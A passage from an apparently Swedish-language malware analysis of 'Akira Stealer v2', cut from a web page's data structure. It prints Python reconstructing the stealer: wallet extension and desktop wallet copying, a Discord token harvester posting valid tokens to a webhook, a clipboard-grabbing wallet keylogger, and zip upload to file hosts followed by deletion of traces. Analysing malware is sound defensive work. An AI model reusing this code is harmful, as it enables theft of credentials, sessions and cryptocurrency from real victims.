",[551,7642,7643],{},".txt","-fil börjar med en konsekvent header (",[551,7646,7647],{},"\u003C================[Akira Stealer v2]>================>",") och en avgränsarrad (",[551,7650,7651],{},"====…====",[607,7653,7654,7655,586],{},"ZIP på disk: ",[551,7656,7657],{},"%TEMP%\\\u003CComputerName>.zip",[607,7659,7660,7661,586],{},"Filnamnsetikett för C&C: ",[551,7662,7663],{},"Akira-\u003Cusername>.zip",[533,7665,7666],{},[540,7667,7668],{},"5. Exfiltrering och städning",[588,7670,7672],{"className":4492,"code":7671,"language":4494,"meta":594,"style":594},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[551,7673,7674,7679,7684,7689,7694],{"__ignoreMap":594},[1684,7675,7676],{"class":1686,"line":1687},[1684,7677,7678],{},"url = Webhook.uploadToGofile(zip_path)\n",[1684,7680,7681],{"class":1686,"line":2063},[1684,7682,7683],{},"if not url:\n",[1684,7685,7686],{"class":1686,"line":2069},[1684,7687,7688],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1684,7690,7691],{"class":1686,"line":2075},[1684,7692,7693],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1684,7695,7696],{"class":1686,"line":2396},[1684,7697,7698],{},"Utils.clear_client_folder()\n",[604,7700,7701,7711,7725,7743],{},[607,7702,7703,7706,7707,7710],{},[540,7704,7705],{},"Primär kanal (GoFile.io):"," Skadeprogrammet försöker först ladda upp ZIP-arkivet med alla stulna artefakter till GoFile.io, och tolkar JSON-svaret för att hitta en ",[551,7708,7709],{},"downloadPage","-URL som ger angriparen direkt åtkomst till arkivet.",[607,7712,7713,7716,7717,7720,7721,7724],{},[540,7714,7715],{},"Automatiska fallbacks:"," Om GoFile-endpointen skulle misslyckas (timeout i nätverket, rate limit och så vidare) faller koden utan problem tillbaka på ",[551,7718,7719],{},"file.io",", och om även den returnerar en tom länk, till sist på ",[551,7722,7723],{},"oshi.at",". Båda alternativen anropas utan att kasta undantag, vilket säkerställer att en av de tre tjänsterna alltid provas i tur och ordning.",[607,7726,7727,7730,7731,7734,7735,7738,7739,7742],{},[540,7728,7729],{},"Webhook-rapportering:"," När en URL (eller en tom sträng vid ihållande fel) har fastställts anropas ",[551,7732,7733],{},"Webhook.sendDataTG(...)",", som paketerar ihop nedladdningslänken, maskinidentifierare (",[551,7736,7737],{},"chatId",", flaggan ",[551,7740,7741],{},"startup",") och alla kategoriräkningar (lösenord, cookies, autofyll, plånböcker) i ett enda Discord- eller Telegram-meddelande.",[607,7744,7745,7748,7749,7752],{},[540,7746,7747],{},"Omedelbar städning:"," Efter rapporteringen raderar ",[551,7750,7751],{},"Utils.clear_client_folder()"," rekursivt hela den temporära arbetsytan och själva ZIP-filen, utan att lämna några spår av den insamlade datan eller arkivet på disken.",[821,7754,7755,7760],{},[533,7756,7757],{},[540,7758,7759],{},"Motståndskraft mot fel:",[604,7761,7762,7769],{},[607,7763,7764,7765,7768],{},"Alla uppladdningsrutiner returnerar ",[551,7766,7767],{},"\"\""," vid fel i stället för att kasta ett undantag, vilket garanterar att kodflödet fortsätter.",[607,7770,7771],{},"Även om alla tjänster är oåtkomliga skickar skadeprogrammet ändå en webhook-rapport (om än med en saknad länk) innan de lokala artefakterna raderas, vilket minimerar forensiska spår såvida inte processen kraschar oväntat.",[827,7773],{"className":7774},[830,831],[533,7776,7777],{},[540,7778,7779],{},"6. Robusthet och felhantering",[604,7781,7782,7800,7806,7815],{},[607,7783,7784,7787,7788,7791,7792,7795,7796,7799],{},[540,7785,7786],{},"Detaljerad felhantering:"," Varje interaktion med filsystemet, oavsett om det är ",[551,7789,7790],{},"shutil.copy",", SQLite-frågor eller ZIP-operationer, omsluts av ",[551,7793,7794],{},"try/except","-block. När ett fel uppstår (låst databas, nekad behörighet, felaktig post) fångas undantaget upp och loggas via ",[551,7797,7798],{},"Akira.logErrorTg()",", och körningen fortsätter, vilket isolerar felet till just den filen eller modulen.",[607,7801,7802,7805],{},[540,7803,7804],{},"Trådisolering per webbläsare:"," Extraktionsrutinerna för varje webbläsare som stöds körs i en egen tråd. Den här flertrådade designen säkerställer att en krasch eller ett dödläge i en webbläsares extraktion (till exempel en trasig profil eller saknad nyckel) inte stoppar eller fördröjer analysen av andra webbläsare.",[607,7807,7808,7811,7812,7814],{},[540,7809,7810],{},"Tysta fallbacks och standardvärden:"," Många hjälprutiner, till exempel uppladdning till alternativa filvärdar, kontroll av fjärresurser eller start av underprocesser, använder nästlade ",[551,7813,7794],{},"-block utan synliga varningar, vilket maximerar smygförmågan. Standardvärden (tomma strängar, booleaner) väljs för att hålla flödet ostört och undvika uppenbara felvillkor.",[607,7816,7817,7820,7821,7824,7825,7828],{},[540,7818,7819],{},"Mutex och startskydd:"," En namngiven mutex (",[551,7822,7823],{},"1qsMlseJplTlArIF14f",") förhindrar flera instanser, medan registerkontroller och ",[551,7826,7827],{},"Utils.CreateMutex()"," skyddar mot samtidiga körningar, vilket ger ytterligare stabilitet vid verklig användning.",[714,7830,7832],{"id":7831},"_78-exfiltrering-av-plånböcker-och-token","7.8 Exfiltrering av plånböcker och token",[533,7834,720],{},[533,7836,7837],{},"I den här fasen genomför Akira Stealer v2 den mest omfattande genomsökningen efter kryptovalutauppgifter och sessionstoken, och täcker webbläsartillägg, skrivbordsplånböcker, meddelandetoken och keylogging i realtid. Den körs i parallella trådar, vilket säkerställer att ingen vektor missas. Nedan följer en steg-för-steg-genomgång med stöd i koden.",[862,7839,7841],{"id":7840},"_781-plånböcker-som-webbläsartillägg","7.8.1 Plånböcker som webbläsartillägg",[533,7843,868],{},[533,7845,7846,7849],{},[540,7847,7848],{},"Mål:"," Över 80 tillägg i populära webbläsare, bland annat MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman och fler.",[588,7851,7853],{"className":4492,"code":7852,"language":4494,"meta":594,"style":594},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[551,7854,7855,7860,7865,7870,7875,7880,7885,7890,7895,7900,7905,7910,7915,7920,7925,7930,7935,7940,7945,7950,7955,7960,7965],{"__ignoreMap":594},[1684,7856,7857],{"class":1686,"line":1687},[1684,7858,7859],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1684,7861,7862],{"class":1686,"line":2063},[1684,7863,7864],{},"walletsExtensions = [\n",[1684,7866,7867],{"class":1686,"line":2069},[1684,7868,7869],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1684,7871,7872],{"class":1686,"line":2075},[1684,7873,7874],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1684,7876,7877],{"class":1686,"line":2396},[1684,7878,7879],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1684,7881,7882],{"class":1686,"line":2402},[1684,7883,7884],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1684,7886,7887],{"class":1686,"line":3060},[1684,7888,7889],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1684,7891,7892],{"class":1686,"line":3856},[1684,7893,7894],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1684,7896,7897],{"class":1686,"line":3862},[1684,7898,7899],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1684,7901,7902],{"class":1686,"line":4107},[1684,7903,7904],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1684,7906,7907],{"class":1686,"line":5033},[1684,7908,7909],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1684,7911,7912],{"class":1686,"line":5039},[1684,7913,7914],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1684,7916,7917],{"class":1686,"line":5045},[1684,7918,7919],{},"    # ... plus dozens more mapped in code\n",[1684,7921,7922],{"class":1686,"line":5051},[1684,7923,7924],{},"]\n",[1684,7926,7927],{"class":1686,"line":5057},[1684,7928,7929],{},"# Extraction loop for each browser profile\n",[1684,7931,7932],{"class":1686,"line":5063},[1684,7933,7934],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1684,7936,7937],{"class":1686,"line":5069},[1684,7938,7939],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1684,7941,7942],{"class":1686,"line":5075},[1684,7943,7944],{},"    for ext_name, ext_id in walletsExtensions:\n",[1684,7946,7947],{"class":1686,"line":5081},[1684,7948,7949],{},"        src = os.path.join(base, ext_id)\n",[1684,7951,7952],{"class":1686,"line":5087},[1684,7953,7954],{},"        if os.path.isdir(src):\n",[1684,7956,7957],{"class":1686,"line":5093},[1684,7958,7959],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1684,7961,7962],{"class":1686,"line":5099},[1684,7963,7964],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1684,7966,7967],{"class":1686,"line":5105},[1684,7968,7969],{},"            data.ext_wallets_count += 1\n",[604,7971,7972,7978],{},[607,7973,7974,7977],{},[540,7975,7976],{},"Kopierade filer",": Tilläggsspecifika IndexedDB-, LevelDB-, JSON- och konfigurationsfiler som innehåller krypterade nycklar, återställningsfraser och inloggningsuppgifter.",[607,7979,7980,973,7983,620,7986,7989],{},[540,7981,7982],{},"Resultatmapp",[551,7984,7985],{},"Wallets/MetaMask_Chrome/",[551,7987,7988],{},"Wallets/Phantom_Edge/"," med flera.",[862,7991,7993],{"id":7992},"_782-skrivbordsplånböcker","7.8.2 Skrivbordsplånböcker",[533,7995,868],{},[533,7997,7998,8000],{},[540,7999,7848],{}," Stora skrivbordsklienter som Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi med flera.",[588,8002,8004],{"className":4492,"code":8003,"language":4494,"meta":594,"style":594},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[551,8005,8006,8011,8016,8021,8026,8031,8036,8041,8045,8050,8055,8060,8065,8070],{"__ignoreMap":594},[1684,8007,8008],{"class":1686,"line":1687},[1684,8009,8010],{},"walletsDesktop = [\n",[1684,8012,8013],{"class":1686,"line":2063},[1684,8014,8015],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1684,8017,8018],{"class":1686,"line":2069},[1684,8019,8020],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1684,8022,8023],{"class":1686,"line":2075},[1684,8024,8025],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1684,8027,8028],{"class":1686,"line":2396},[1684,8029,8030],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1684,8032,8033],{"class":1686,"line":2402},[1684,8034,8035],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1684,8037,8038],{"class":1686,"line":3060},[1684,8039,8040],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1684,8042,8043],{"class":1686,"line":3856},[1684,8044,7924],{},[1684,8046,8047],{"class":1686,"line":3862},[1684,8048,8049],{},"for name, path in walletsDesktop:\n",[1684,8051,8052],{"class":1686,"line":4107},[1684,8053,8054],{},"    if os.path.isdir(path):\n",[1684,8056,8057],{"class":1686,"line":5033},[1684,8058,8059],{},"        Utils.TaskKill(name.lower())\n",[1684,8061,8062],{"class":1686,"line":5039},[1684,8063,8064],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1684,8066,8067],{"class":1686,"line":5045},[1684,8068,8069],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1684,8071,8072],{"class":1686,"line":5051},[1684,8073,8074],{},"        data.desktop_wallets_count += 1\n",[604,8076,8077,8090],{},[607,8078,8079,8082,8083,620,8086,8089],{},[540,8080,8081],{},"Stulen data",": Keystore-filer (",[551,8084,8085],{},"*.dat",[551,8087,8088],{},"*.json","), exporterade privata nycklar, plånbokskonfiguration och transaktionshistorik.",[607,8091,8092,8095],{},[540,8093,8094],{},"Nytta",": Plånboksinnehåll offline som angriparen kan använda för att godkänna transaktioner.",[862,8097,8099],{"id":8098},"_783-insamling-av-discord-token","7.8.3 Insamling av Discord-token",[533,8101,868],{},[533,8103,8104],{},"Discord-token är autentiseringsartefakter, i praktiken långlivade bearer-token, som kan ge fullständig åtkomst till en användares konto utan att kräva autentiseringsuppgifter eller MFA. Akira utnyttjar detta genom att skanna webbläsar- och appdatamappar efter token som lagras av olika Discord-klienter, bland annat Discord Stable, Canary, PTB (Public Test Build) och till och med modifierade forkar som Lightcord.",[533,8106,8107],{},"Tekniken riktar in sig på LevelDB-filer under applikationens Local Storage, där autentiseringstoken ofta finns kvar i klartext. Med hjälp av reguljära uttryck skannar skadeprogrammet dessa .log- och .ldb-filer efter mönster som matchar antingen vanliga användartoken eller MFA-aktiverade token.",[533,8109,8110],{},"För att öka tillförlitligheten och minska bruset innehåller Akira ett valideringssteg: den skickar en testförfrågan till Discords endpoint /users/@me med varje insamlat token. Endast token som lyckas autentisera (HTTP 200) exfiltreras via webhook, vanligtvis till en Discord-kanal som kontrolleras av angriparen.",[533,8112,8113],{},"Den här metoden gör det möjligt för angripare att kapa Discord-konton i realtid, utge sig för att vara offret, skrapa DM:er och guilds, eller sprida ytterligare skadeprogram genom social engineering, allt utan att utlösa inloggningsvarningar.",[588,8115,8117],{"className":4492,"code":8116,"language":4494,"meta":594,"style":594},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[551,8118,8119,8124,8129,8134,8139,8143,8148,8153,8158,8163,8168,8173,8178,8183,8188,8193,8198,8203,8208],{"__ignoreMap":594},[1684,8120,8121],{"class":1686,"line":1687},[1684,8122,8123],{},"import re, requests\n",[1684,8125,8126],{"class":1686,"line":2063},[1684,8127,8128],{},"patterns = [\n",[1684,8130,8131],{"class":1686,"line":2069},[1684,8132,8133],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1684,8135,8136],{"class":1686,"line":2075},[1684,8137,8138],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1684,8140,8141],{"class":1686,"line":2396},[1684,8142,7924],{},[1684,8144,8145],{"class":1686,"line":2402},[1684,8146,8147],{},"def harvest_discord(base, webhook_url):\n",[1684,8149,8150],{"class":1686,"line":3060},[1684,8151,8152],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1684,8154,8155],{"class":1686,"line":3856},[1684,8156,8157],{},"    for file in os.listdir(db_dir):\n",[1684,8159,8160],{"class":1686,"line":3862},[1684,8161,8162],{},"        if file.endswith(('.log', '.ldb')):\n",[1684,8164,8165],{"class":1686,"line":4107},[1684,8166,8167],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1684,8169,8170],{"class":1686,"line":5033},[1684,8171,8172],{},"                for pat in patterns:\n",[1684,8174,8175],{"class":1686,"line":5039},[1684,8176,8177],{},"                    for token in re.findall(pat, line):\n",[1684,8179,8180],{"class":1686,"line":5045},[1684,8181,8182],{},"                        # Verify token\n",[1684,8184,8185],{"class":1686,"line":5051},[1684,8186,8187],{},"                        h = {\"Authorization\": token}\n",[1684,8189,8190],{"class":1686,"line":5057},[1684,8191,8192],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1684,8194,8195],{"class":1686,"line":5063},[1684,8196,8197],{},"                        if r.status_code == 200:\n",[1684,8199,8200],{"class":1686,"line":5069},[1684,8201,8202],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1684,8204,8205],{"class":1686,"line":5075},[1684,8206,8207],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1684,8209,8210],{"class":1686,"line":5081},[1684,8211,8212],{},"                            requests.post(webhook_url, json=payload)\n",[604,8214,8215],{},[607,8216,8217,8220],{},[540,8218,8219],{},"Validering",": Skickar bara giltiga token, vilket förhindrar att inaktuella JWT:er skickas.",[862,8222,8224],{"id":8223},"_784-telegram-sessionsfiler","7.8.4 Telegram-sessionsfiler",[533,8226,868],{},[533,8228,8229,8231],{},[540,8230,7848],{}," Telegram Desktop/TData",[588,8233,8235],{"className":4492,"code":8234,"language":4494,"meta":594,"style":594},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[551,8236,8237,8242,8247,8252,8257,8262],{"__ignoreMap":594},[1684,8238,8239],{"class":1686,"line":1687},[1684,8240,8241],{},"def steal_telegram(tdata_path, dest_root):\n",[1684,8243,8244],{"class":1686,"line":2063},[1684,8245,8246],{},"    if os.path.exists(tdata_path):\n",[1684,8248,8249],{"class":1686,"line":2069},[1684,8250,8251],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1684,8253,8254],{"class":1686,"line":2075},[1684,8255,8256],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1684,8258,8259],{"class":1686,"line":2396},[1684,8260,8261],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1684,8263,8264],{"class":1686,"line":2402},[1684,8265,8266],{},"        data.has_telegram = True\n",[604,8268,8269,8283],{},[607,8270,8271,8274,8275,8278,8279,8282],{},[540,8272,8273],{},"Filer",": mappen ",[551,8276,8277],{},"tdata"," som innehåller sessionsnycklar, mappen ",[551,8280,8281],{},"D877F..."," med hemliga/icke-hemliga filer.",[607,8284,8285,8288],{},[540,8286,8287],{},"Användning",": Laddas in i angriparens Telegram-klient för fullständig kontoåtkomst.",[862,8290,8292],{"id":8291},"_785-keylogging-av-plånböcker-i-realtid","7.8.5 Keylogging av plånböcker i realtid",[533,8294,868],{},[533,8296,8297],{},"Kryptovalutaplånböcker är förstahandsmål för moderna infostealers. Akira innehåller en keylogger i realtid som är specifikt utformad för att stjäla plånboksuppgifter som återställningsfraser, privata nycklar och lösenord i det ögonblick de matas in. Till skillnad från generiska keyloggers aktiveras den här bara när ett känt plånboksfönster upptäcks, vilket kraftigt minskar bruset och ökar effektiviteten.",[533,8299,8300],{},"Modulen övervakar aktiva fönstertitlar och jämför dem mot en hårdkodad lista med populära plånboksappar som MetaMask, Phantom, Atomic Wallet och andra. Så snart ett matchande fönster är i fokus börjar den registrera tangenttryckningar via systemomfattande tangentbordshookar. När användaren trycker på Enter fångar modulen omedelbart det aktuella innehållet i urklipp, eftersom användare ofta kopierar hemligheter vid plånboksinstallation eller inloggning, och skickar både den inmatade texten och urklippsdatan till angriparens webhook. Metoden är extremt effektiv eftersom den kombinerar två attackvektorer:",[604,8302,8303,8306],{},[607,8304,8305],{},"Kontextmedveten keylogging, för att fånga känsliga plånboksinmatningar bara när det är relevant.",[607,8307,8308],{},"Kapning av urklipp, för att extrahera kopierade återställningsfraser eller mottagaradresser innan de klistras in.",[533,8310,8311],{},"Tillsammans gör de här metoderna det möjligt för angripare att i tysthet kompromettera plånböcker i realtid, även utan webbläsaråtkomst eller filexfiltrering.",[588,8313,8315],{"className":4492,"code":8314,"language":4494,"meta":594,"style":594},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[551,8316,8317,8322,8326,8331,8336,8341,8346,8351,8355,8360,8365,8370,8375,8380,8385,8390,8395],{"__ignoreMap":594},[1684,8318,8319],{"class":1686,"line":1687},[1684,8320,8321],{},"import keyboard, pyperclip\n",[1684,8323,8324],{"class":1686,"line":2063},[1684,8325,3853],{"emptyLinePlaceholder":325},[1684,8327,8328],{"class":1686,"line":2069},[1684,8329,8330],{},"class WalletKeylogger:\n",[1684,8332,8333],{"class":1686,"line":2075},[1684,8334,8335],{},"    def __init__(self, wallet_titles):\n",[1684,8337,8338],{"class":1686,"line":2396},[1684,8339,8340],{},"        self.buf = \"\"\n",[1684,8342,8343],{"class":1686,"line":2402},[1684,8344,8345],{},"        keyboard.on_release(self.capture)\n",[1684,8347,8348],{"class":1686,"line":3060},[1684,8349,8350],{},"        self.wallet_titles = wallet_titles\n",[1684,8352,8353],{"class":1686,"line":3856},[1684,8354,3853],{"emptyLinePlaceholder":325},[1684,8356,8357],{"class":1686,"line":3862},[1684,8358,8359],{},"    def capture(self, event):\n",[1684,8361,8362],{"class":1686,"line":4107},[1684,8363,8364],{},"        title = pygetwindow.getActiveWindow().title\n",[1684,8366,8367],{"class":1686,"line":5033},[1684,8368,8369],{},"        if any(w in title for w in self.wallet_titles):\n",[1684,8371,8372],{"class":1686,"line":5039},[1684,8373,8374],{},"            if event.name == 'enter':\n",[1684,8376,8377],{"class":1686,"line":5045},[1684,8378,8379],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1684,8381,8382],{"class":1686,"line":5051},[1684,8383,8384],{},"                send_to_webhook(data)\n",[1684,8386,8387],{"class":1686,"line":5057},[1684,8388,8389],{},"                self.buf = \"\"\n",[1684,8391,8392],{"class":1686,"line":5063},[1684,8393,8394],{},"            else:\n",[1684,8396,8397],{"class":1686,"line":5069},[1684,8398,8399],{},"                self.buf += event.name\n",[604,8401,8402,8408],{},[607,8403,8404,8407],{},[540,8405,8406],{},"Utlösarlista",": Fönstertitlar inklusive \"MetaMask\", \"Phantom\", \"Atomic Wallet\" med flera.",[607,8409,8410,8413],{},[540,8411,8412],{},"Urklipp",": Fångar kopierade återställningsfraser eller privata nycklar.",[862,8415,8417],{"id":8416},"_786-paketering-och-exfiltrering","7.8.6 Paketering och exfiltrering",[533,8419,868],{},[533,8421,8422],{},"När webbläsardata, autentiseringsuppgifter, plånboksinformation och token har samlats in går Akira vidare med att konsolidera och exfiltrera bytet på ett mycket automatiserat och smygande sätt. Det här steget markerar det sista ledet i infektionskedjan och är optimerat för tillförlitlighet och minimalt forensiskt fotavtryck. Först komprimeras all insamlad data, inklusive webbläsardumpar, loggar och keyloggad plånboksinformation, till ett ZIP-arkiv. Det säkerställer att hela datamängden kan överföras som en enda nyttolast. Arkivet laddas sedan upp till flera publika fildelningstjänster som GoFile, File.io eller Oshi.at, beroende på tillgänglighet. De här plattformarna erbjuder anonym, tillfällig hosting och används ofta för att kringgå företagsbrandväggar eller ryktesbaserad blockering. Samtidigt genereras en strukturerad rapport som skickas till angriparen via en Discord- eller Telegram-webhook. Den innehåller sammanfattande statistik, det vill säga hur många plånböcker som hittades, hur många token som var giltiga och en direktlänk till den stulna datan. Det ger angripare en snabb överblick över målets värde utan att öppna arkivet.",[533,8424,8425],{},"Till sist raderar skadeprogrammet den temporära mappen och arkivet från disken, vilket i praktiken tar bort lokala forensiska spår. När en försvarare upptäcker infektionen är datan redan borta, och ofta omöjlig att återfå.",[588,8427,8429],{"className":4492,"code":8428,"language":4494,"meta":594,"style":594},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[551,8430,8431,8436,8441,8446,8451,8456,8461,8466,8471,8476,8481,8486,8491,8496,8501,8505,8510,8515],{"__ignoreMap":594},[1684,8432,8433],{"class":1686,"line":1687},[1684,8434,8435],{},"# 1) ZIP everything (including Wallets folder)\n",[1684,8437,8438],{"class":1686,"line":2063},[1684,8439,8440],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1684,8442,8443],{"class":1686,"line":2069},[1684,8444,8445],{},"# 2) Attempt upload to primary & fallback services\n",[1684,8447,8448],{"class":1686,"line":2075},[1684,8449,8450],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1684,8452,8453],{"class":1686,"line":2396},[1684,8454,8455],{},"# 3) Report summary\n",[1684,8457,8458],{"class":1686,"line":2402},[1684,8459,8460],{},"embed = {\n",[1684,8462,8463],{"class":1686,"line":3060},[1684,8464,8465],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1684,8467,8468],{"class":1686,"line":3856},[1684,8469,8470],{},"    \"fields\": [\n",[1684,8472,8473],{"class":1686,"line":3862},[1684,8474,8475],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1684,8477,8478],{"class":1686,"line":4107},[1684,8479,8480],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1684,8482,8483],{"class":1686,"line":5033},[1684,8484,8485],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1684,8487,8488],{"class":1686,"line":5039},[1684,8489,8490],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1684,8492,8493],{"class":1686,"line":5045},[1684,8494,8495],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload 